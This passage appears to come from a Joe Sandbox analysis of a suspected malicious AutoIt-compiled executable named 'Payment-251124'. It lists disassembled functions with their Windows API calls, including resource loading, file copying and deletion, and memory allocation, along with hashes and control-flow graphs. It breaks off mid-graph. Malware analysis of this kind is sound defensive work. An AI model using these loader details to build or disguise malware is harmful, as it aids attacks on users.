                                                        • CreateStreamOnHGlobal.COMBASE(00000000,00000001,?,?,?,?,?,00EC449E,?,?,00000000,00000001), ref: 00EC407B
                                                        • FindResourceExW.KERNEL32(?,0000000A,SCRIPT,00000000,?,?,00EC449E,?,?,00000000,00000001), ref: 00EC4092
                                                        • LoadResource.KERNEL32(?,00000000,?,?,00EC449E,?,?,00000000,00000001,?,?,?,?,?,?,00EC41FB), ref: 00F34F1A
                                                        • SizeofResource.KERNEL32(?,00000000,?,?,00EC449E,?,?,00000000,00000001,?,?,?,?,?,?,00EC41FB), ref: 00F34F2F
                                                        • LockResource.KERNEL32(00EC449E,?,?,00EC449E,?,?,00000000,00000001,?,?,?,?,?,?,00EC41FB,00000000), ref: 00F34F42
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Resource$CreateFindGlobalLoadLockSizeofStream
                                                        • String ID: SCRIPT
                                                        • API String ID: 3051347437-3967369404
                                                        • Opcode ID: 69e2c053aa5b38c4a5e7818b283a76fbb1216d08f91428790b8d7868505aa0ec
                                                        • Instruction ID: 99fe18d6f6e9f50bb2ac2e2c9ab77ccda75d4c1e8e73c8366ddcfe9be575fb56
                                                        • Opcode Fuzzy Hash: 69e2c053aa5b38c4a5e7818b283a76fbb1216d08f91428790b8d7868505aa0ec
                                                        • Instruction Fuzzy Hash: 6A118EB5240705BFE7218B25ED49F677BB9EBC6B51F14412CFA02962E0DBB2DC01DA21
                                                        Function 00F06CA9 Relevance: 4.5, APIs: 3, Instructions: 25fileCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetFileAttributesW.KERNELBASE(?,00F32F49), ref: 00F06CB9
                                                        • FindFirstFileW.KERNELBASE(?,?), ref: 00F06CCA
                                                        • FindClose.KERNEL32(00000000), ref: 00F06CDA
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: FileFind$AttributesCloseFirst
                                                        • String ID:
                                                        • API String ID: 48322524-0
                                                        • Opcode ID: 958210efeac4d38342823f64fdb7ebdbff00cdc81dbb0c407d37dd7d67c96b20
                                                        • Instruction ID: 7991342f6d0492679578e56c70a584c731f006118b4006f88aeec94b3ba82b02
                                                        • Opcode Fuzzy Hash: 958210efeac4d38342823f64fdb7ebdbff00cdc81dbb0c407d37dd7d67c96b20
                                                        • Instruction Fuzzy Hash: 23E0D83581041457E2146738EC0D4E937ACDB5633AF104709FD71C11D0E770D91075D5
                                                        Function 00ED3200 Relevance: 1.0, Instructions: 986COMMON
                                                        Download Yara Rule
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: BuffCharUpper
                                                        • String ID:
                                                        • API String ID: 3964851224-0
                                                        • Opcode ID: 76c3e70f2b601039bd160e53a1f3d978dbec01a641dfc8241cfed9e3109cf73b
                                                        • Instruction ID: 97f61b3124c1877946cc471e2d5bce1c812cb14e91bfd79b6c88ecb0b9e5794c
                                                        • Opcode Fuzzy Hash: 76c3e70f2b601039bd160e53a1f3d978dbec01a641dfc8241cfed9e3109cf73b
                                                        • Instruction Fuzzy Hash: 26928C706083418FD724DF28C480B6AB7E1FF88314F14985EE99A9B392D7B1ED46DB52
                                                        Function 00ECE8D0 Relevance: 49.8, APIs: 24, Strings: 4, Instructions: 816windowsleeptimeCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00ECE959
                                                        • timeGetTime.WINMM ref: 00ECEBFA
                                                        • PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00ECED2E
                                                        • TranslateMessage.USER32(?), ref: 00ECED3F
                                                        • DispatchMessageW.USER32(?), ref: 00ECED4A
                                                        • LockWindowUpdate.USER32(00000000), ref: 00ECED79
                                                        • DestroyWindow.USER32 ref: 00ECED85
                                                        • GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00ECED9F
                                                        • Sleep.KERNEL32(0000000A), ref: 00F35270
                                                        • TranslateMessage.USER32(?), ref: 00F359F7
                                                        • DispatchMessageW.USER32(?), ref: 00F35A05
                                                        • GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00F35A19
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Message$DispatchPeekTranslateWindow$DestroyLockSleepTimeUpdatetime
                                                        • String ID: @GUI_CTRLHANDLE$@GUI_CTRLID$@GUI_WINHANDLE$@TRAY_ID
                                                        • API String ID: 2641332412-570651680
                                                        • Opcode ID: 74f13a068c207894707e1f7403ba1955a30c62537fbd625fd4077f1762409504
                                                        • Instruction ID: 55db568c412d1b60f9ad6f438f35d0d1cb52f31216162527e3a7fa04cc43356a
                                                        • Opcode Fuzzy Hash: 74f13a068c207894707e1f7403ba1955a30c62537fbd625fd4077f1762409504
                                                        • Instruction Fuzzy Hash: 9062E070504340CFDB24DF24C985FAAB7E4BF84714F08196DE986AB392DB72D846DB52
                                                        Function 00EF5C78 Relevance: 47.9, APIs: 26, Strings: 1, Instructions: 626fileCOMMONLIBRARYCODE
                                                        Download Yara Rule
                                                        APIs
                                                        • ___createFile.LIBCMT ref: 00EF5EC3
                                                        • ___createFile.LIBCMT ref: 00EF5F04
                                                        • GetLastError.KERNEL32(?,?,?,?,?,00000000,00000109), ref: 00EF5F2D
                                                        • __dosmaperr.LIBCMT ref: 00EF5F34
                                                        • GetFileType.KERNELBASE(00000000,?,?,?,?,?,00000000,00000109), ref: 00EF5F47
                                                        • GetLastError.KERNEL32(?,?,?,?,?,00000000,00000109), ref: 00EF5F6A
                                                        • __dosmaperr.LIBCMT ref: 00EF5F73
                                                        • CloseHandle.KERNEL32(00000000,?,?,?,?,?,00000000,00000109), ref: 00EF5F7C
                                                        • __set_osfhnd.LIBCMT ref: 00EF5FAC
                                                        • __lseeki64_nolock.LIBCMT ref: 00EF6016
                                                        • __close_nolock.LIBCMT ref: 00EF603C
                                                        • __chsize_nolock.LIBCMT ref: 00EF606C
                                                        • __lseeki64_nolock.LIBCMT ref: 00EF607E
                                                        • __lseeki64_nolock.LIBCMT ref: 00EF6176
                                                        • __lseeki64_nolock.LIBCMT ref: 00EF618B
                                                        • __close_nolock.LIBCMT ref: 00EF61EB
                                                          • Part of subcall function 00EEEA9C: CloseHandle.KERNELBASE(00000000,00F6EEF4,00000000,?,00EF6041,00F6EEF4,?,?,?,?,?,?,?,?,00000000,00000109), ref: 00EEEAEC
                                                          • Part of subcall function 00EEEA9C: GetLastError.KERNEL32(?,00EF6041,00F6EEF4,?,?,?,?,?,?,?,?,00000000,00000109), ref: 00EEEAF6
                                                          • Part of subcall function 00EEEA9C: __free_osfhnd.LIBCMT ref: 00EEEB03
                                                          • Part of subcall function 00EEEA9C: __dosmaperr.LIBCMT ref: 00EEEB25
                                                          • Part of subcall function 00EE7C0E: __getptd_noexit.LIBCMT ref: 00EE7C0E
                                                        • __lseeki64_nolock.LIBCMT ref: 00EF620D
                                                        • CloseHandle.KERNEL32(00000000,?,?,?,?,?,00000000,00000109), ref: 00EF6342
                                                        • ___createFile.LIBCMT ref: 00EF6361
                                                        • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000109), ref: 00EF636E
                                                        • __dosmaperr.LIBCMT ref: 00EF6375
                                                        • __free_osfhnd.LIBCMT ref: 00EF6395
                                                        • __invoke_watson.LIBCMT ref: 00EF63C3
                                                        • __wsopen_helper.LIBCMT ref: 00EF63DD
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: __lseeki64_nolock$ErrorFileLast__dosmaperr$CloseHandle___create$__close_nolock__free_osfhnd$Type__chsize_nolock__getptd_noexit__invoke_watson__set_osfhnd__wsopen_helper
                                                        • String ID: @
                                                        • API String ID: 3896587723-2766056989
                                                        • Opcode ID: d4e8be40bdff0ffc4486780600f26d0f0c710fff1254f81512505ee0acc4ddfb
                                                        • Instruction ID: 60a7c7a23d6f196f7bb325f678d0d2bd45652447cc03f08dfd174abacd868421
                                                        • Opcode Fuzzy Hash: d4e8be40bdff0ffc4486780600f26d0f0c710fff1254f81512505ee0acc4ddfb
                                                        • Instruction Fuzzy Hash: 3A223872A0050E9BEF299F68DC45BFE7B61EB21318F246229E711B72E1C7358D40D751
                                                        Function 00F0FA0C Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 238COMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        APIs
                                                        • _wcscpy.LIBCMT ref: 00F0FA96
                                                        • _wcschr.LIBCMT ref: 00F0FAA4
                                                        • _wcscpy.LIBCMT ref: 00F0FABB
                                                        • _wcscat.LIBCMT ref: 00F0FACA
                                                        • _wcscat.LIBCMT ref: 00F0FAE8
                                                        • _wcscpy.LIBCMT ref: 00F0FB09
                                                        • __wsplitpath.LIBCMT ref: 00F0FBE6
                                                        • _wcscpy.LIBCMT ref: 00F0FC0B
                                                        • _wcscpy.LIBCMT ref: 00F0FC1D
                                                        • _wcscpy.LIBCMT ref: 00F0FC32
                                                        • _wcscat.LIBCMT ref: 00F0FC47
                                                        • _wcscat.LIBCMT ref: 00F0FC59
                                                        • _wcscat.LIBCMT ref: 00F0FC6E
                                                          • Part of subcall function 00F0BFA4: _wcscmp.LIBCMT ref: 00F0C03E
                                                          • Part of subcall function 00F0BFA4: __wsplitpath.LIBCMT ref: 00F0C083
                                                          • Part of subcall function 00F0BFA4: _wcscpy.LIBCMT ref: 00F0C096
                                                          • Part of subcall function 00F0BFA4: _wcscat.LIBCMT ref: 00F0C0A9
                                                          • Part of subcall function 00F0BFA4: __wsplitpath.LIBCMT ref: 00F0C0CE
                                                          • Part of subcall function 00F0BFA4: _wcscat.LIBCMT ref: 00F0C0E4
                                                          • Part of subcall function 00F0BFA4: _wcscat.LIBCMT ref: 00F0C0F7
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: _wcscat$_wcscpy$__wsplitpath$_wcschr_wcscmp
                                                        • String ID: >>>AUTOIT SCRIPT<<<
                                                        • API String ID: 2955681530-2806939583
                                                        • Opcode ID: 716f909a8bf83146a96e771921b87224a70330e9cec88546aa8dc17e60972be7
                                                        • Instruction ID: 4b2f47294ddf189edc87c88419825b73136bc9ddf7e1b250e46d059b62ce0d4e
                                                        • Opcode Fuzzy Hash: 716f909a8bf83146a96e771921b87224a70330e9cec88546aa8dc17e60972be7
                                                        • Instruction Fuzzy Hash: D691C172504345AFDB20EB54C951F9EB3E8FF84310F04886DF949A7292DB35EA48DB92
                                                        Function 00EC3F53 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 53windowregistryCOMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        APIs
                                                        • GetSysColorBrush.USER32(0000000F), ref: 00EC3F86
                                                        • RegisterClassExW.USER32(00000030), ref: 00EC3FB0
                                                        • RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00EC3FC1
                                                        • InitCommonControlsEx.COMCTL32(?), ref: 00EC3FDE
                                                        • ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00EC3FEE
                                                        • LoadIconW.USER32(000000A9), ref: 00EC4004
                                                        • ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00EC4013
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
                                                        • String ID: +$0$AutoIt v3 GUI$TaskbarCreated
                                                        • API String ID: 2914291525-1005189915
                                                        • Opcode ID: 9b11460e1a49b7692f895497081391dcb3d0aec4374c3d06fe3c65d079386bb1
                                                        • Instruction ID: 3be82b36288c53685c9f99b7aae6fc2d517030f94ca75a4b638dc98fe5a3edb2
                                                        • Opcode Fuzzy Hash: 9b11460e1a49b7692f895497081391dcb3d0aec4374c3d06fe3c65d079386bb1
                                                        • Instruction Fuzzy Hash: 4221E5B590121CAFDB40DFA4EC89BDDBBB8FB19700F00421AFA11A62A0E7B54545AF91
                                                        Function 00F0BFA4 Relevance: 18.3, APIs: 12, Instructions: 316fileCOMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        APIs
                                                          • Part of subcall function 00F0BDB4: __time64.LIBCMT ref: 00F0BDBE
                                                          • Part of subcall function 00EC4517: _fseek.LIBCMT ref: 00EC452F
                                                        • __wsplitpath.LIBCMT ref: 00F0C083
                                                          • Part of subcall function 00EE1DFC: __wsplitpath_helper.LIBCMT ref: 00EE1E3C
                                                        • _wcscpy.LIBCMT ref: 00F0C096
                                                        • _wcscat.LIBCMT ref: 00F0C0A9
                                                        • __wsplitpath.LIBCMT ref: 00F0C0CE
                                                        • _wcscat.LIBCMT ref: 00F0C0E4
                                                        • _wcscat.LIBCMT ref: 00F0C0F7
                                                        • _wcscmp.LIBCMT ref: 00F0C03E
                                                          • Part of subcall function 00F0C56D: _wcscmp.LIBCMT ref: 00F0C65D
                                                          • Part of subcall function 00F0C56D: _wcscmp.LIBCMT ref: 00F0C670
                                                        • DeleteFileW.KERNEL32(?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?), ref: 00F0C2A1
                                                        • DeleteFileW.KERNEL32(?,?,?,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 00F0C338
                                                        • CopyFileW.KERNELBASE(?,?,00000000,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 00F0C34E
                                                        • DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00F0C35F
                                                        • DeleteFileW.KERNELBASE(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00F0C371
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: File$Delete$_wcscat_wcscmp$__wsplitpath$Copy__time64__wsplitpath_helper_fseek_wcscpy
                                                        • String ID:
                                                        • API String ID: 2378138488-0
                                                        • Opcode ID: 0fa781ca133e2b8826fcd69aeba83bf84853d1e20fdff3d843e3d02a44d80678
                                                        • Instruction ID: 6267dca77942f8a05f10697198c873a3584ab7b42bc6f2adc10d92a765a8ed5b
                                                        • Opcode Fuzzy Hash: 0fa781ca133e2b8826fcd69aeba83bf84853d1e20fdff3d843e3d02a44d80678
                                                        • Instruction Fuzzy Hash: 52C13CB1D00219ABDF11DF95CC81EDEB7BCAF49310F1041AAF609E6191DB709A84AF61
                                                        Function 00EC3742 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 151windowtimeregistryCOMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 957 ec3742-ec3762 959 ec3764-ec3767 957->959 960 ec37c2-ec37c4 957->960 962 ec37c8 959->962 963 ec3769-ec3770 959->963 960->959 961 ec37c6 960->961 964 ec37ab-ec37b3 DefWindowProcW 961->964 965 ec37ce-ec37d1 962->965 966 f31e00-f31e2e call ec2ff6 call ede312 962->966 967 ec382c-ec3834 PostQuitMessage 963->967 968 ec3776-ec377b 963->968 975 ec37b9-ec37bf 964->975 969 ec37f6-ec381d SetTimer RegisterWindowMessageW 965->969 970 ec37d3-ec37d4 965->970 1004 f31e33-f31e3a 966->1004 974 ec37f2-ec37f4 967->974 972 f31e88-f31e9c call f04ddd 968->972 973 ec3781-ec3783 968->973 969->974 979 ec381f-ec382a CreatePopupMenu 969->979 976 f31da3-f31da6 970->976 977 ec37da-ec37ed KillTimer call ec3847 call ec390f 970->977 972->974 998 f31ea2 972->998 980 ec3789-ec378e 973->980 981 ec3836-ec3840 call edeb83 973->981 974->975 983 f31da8-f31daa 976->983 984 f31ddc-f31dfb MoveWindow 976->984 977->974 979->974 987 ec3794-ec3799 980->987 988 f31e6d-f31e74 980->988 999 ec3845 981->999 991 f31dcb-f31dd7 SetFocus 983->991 992 f31dac-f31daf 983->992 984->974 996 ec379f-ec37a5 987->996 997 f31e58-f31e68 call f055bd 987->997 988->964 994 f31e7a-f31e83 call efa5f3 988->994 991->974 992->996 1000 f31db5-f31dc6 call ec2ff6 992->1000 994->964 996->964 996->1004 997->974 998->964 999->974 1000->974 1004->964 1008 f31e40-f31e53 call ec3847 call ec4ffc 1004->1008 1008->964
                                                        APIs
                                                        • DefWindowProcW.USER32(?,?,?,?), ref: 00EC37B3
                                                        • KillTimer.USER32(?,00000001), ref: 00EC37DD
                                                        • SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00EC3800
                                                        • RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00EC380B
                                                        • CreatePopupMenu.USER32 ref: 00EC381F
                                                        • PostQuitMessage.USER32(00000000), ref: 00EC382E
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
                                                        • String ID: TaskbarCreated
                                                        • API String ID: 129472671-2362178303
                                                        • Opcode ID: bd8c2ab169efd92331ad0107df58ad461b7cb80606a40043a6c0409c11373626
                                                        • Instruction ID: c83e3963b667603d9a496d4f344f8c477dddcc4f3bdae6b711408277bb453340
                                                        • Opcode Fuzzy Hash: bd8c2ab169efd92331ad0107df58ad461b7cb80606a40043a6c0409c11373626
                                                        • Instruction Fuzzy Hash: 6D4148F920014DA7DB146B389E4AFFB3699FB04310F00A21EF902F6191CB629D53B761
                                                        Function 00EC3E6E Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 66windowregistryCOMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        APIs
                                                        • GetSysColorBrush.USER32(0000000F), ref: 00EC3E79
                                                        • LoadCursorW.USER32(00000000,00007F00), ref: 00EC3E88
                                                        • LoadIconW.USER32(00000063), ref: 00EC3E9E
                                                        • LoadIconW.USER32(000000A4), ref: 00EC3EB0
                                                        • LoadIconW.USER32(000000A2), ref: 00EC3EC2
                                                          • Part of subcall function 00EC4024: LoadImageW.USER32(00EC0000,00000063,00000001,00000010,00000010,00000000), ref: 00EC4048
                                                        • RegisterClassExW.USER32(?), ref: 00EC3F30
                                                          • Part of subcall function 00EC3F53: GetSysColorBrush.USER32(0000000F), ref: 00EC3F86
                                                          • Part of subcall function 00EC3F53: RegisterClassExW.USER32(00000030), ref: 00EC3FB0
                                                          • Part of subcall function 00EC3F53: RegisterWindowMessageW.USER32(TaskbarCreated), ref: 00EC3FC1
                                                          • Part of subcall function 00EC3F53: InitCommonControlsEx.COMCTL32(?), ref: 00EC3FDE
                                                          • Part of subcall function 00EC3F53: ImageList_Create.COMCTL32(00000010,00000010,00000021,00000001,00000001), ref: 00EC3FEE
                                                          • Part of subcall function 00EC3F53: LoadIconW.USER32(000000A9), ref: 00EC4004
                                                          • Part of subcall function 00EC3F53: ImageList_ReplaceIcon.COMCTL32(000000FF,00000000), ref: 00EC4013
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
                                                        • String ID: #$0$AutoIt v3
                                                        • API String ID: 423443420-4155596026
                                                        • Opcode ID: 9db8bc44b2b430c37cfd02a312b7a15f26292a8de2e59c710e824538cc03efa0
                                                        • Instruction ID: 99544e85382f1c1853b5ca5b97cf306f8f0ace2a000af5561e84d430521fbb00
                                                        • Opcode Fuzzy Hash: 9db8bc44b2b430c37cfd02a312b7a15f26292a8de2e59c710e824538cc03efa0
                                                        • Instruction Fuzzy Hash: 432151B4D00308ABDB10DFA9EC49AE9BFF9FB48710F00521AE605A22A0D3754641AF91
                                                        Function 015F8230 Relevance: 10.7, APIs: 7, Instructions: 239fileCOMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 1021 15f8230-15f82de call 15f5c40 1024 15f82e5-15f830b call 15f9140 CreateFileW 1021->1024 1027 15f830d 1024->1027 1028 15f8312-15f8322 1024->1028 1029 15f845d-15f8461 1027->1029 1035 15f8329-15f8343 VirtualAlloc 1028->1035 1036 15f8324 1028->1036 1030 15f84a3-15f84a6 1029->1030 1031 15f8463-15f8467 1029->1031 1037 15f84a9-15f84b0 1030->1037 1033 15f8469-15f846c 1031->1033 1034 15f8473-15f8477 1031->1034 1033->1034 1040 15f8479-15f8483 1034->1040 1041 15f8487-15f848b 1034->1041 1042 15f834a-15f8361 ReadFile 1035->1042 1043 15f8345 1035->1043 1036->1029 1038 15f8505-15f851a 1037->1038 1039 15f84b2-15f84bd 1037->1039 1046 15f851c-15f8527 VirtualFree 1038->1046 1047 15f852a-15f8532 1038->1047 1044 15f84bf 1039->1044 1045 15f84c1-15f84cd 1039->1045 1040->1041 1048 15f848d-15f8497 1041->1048 1049 15f849b 1041->1049 1050 15f8368-15f83a8 VirtualAlloc 1042->1050 1051 15f8363 1042->1051 1043->1029 1044->1038 1054 15f84cf-15f84df 1045->1054 1055 15f84e1-15f84ed 1045->1055 1046->1047 1048->1049 1049->1030 1052 15f83af-15f83ca call 15f9390 1050->1052 1053 15f83aa 1050->1053 1051->1029 1061 15f83d5-15f83df 1052->1061 1053->1029 1057 15f8503 1054->1057 1058 15f84ef-15f84f8 1055->1058 1059 15f84fa-15f8500 1055->1059 1057->1037 1058->1057 1059->1057 1062 15f8412-15f8426 call 15f91a0 1061->1062 1063 15f83e1-15f8410 call 15f9390 1061->1063 1069 15f842a-15f842e 1062->1069 1070 15f8428 1062->1070 1063->1061 1071 15f843a-15f843e 1069->1071 1072 15f8430-15f8434 CloseHandle 1069->1072 1070->1029 1073 15f844e-15f8457 1071->1073 1074 15f8440-15f844b 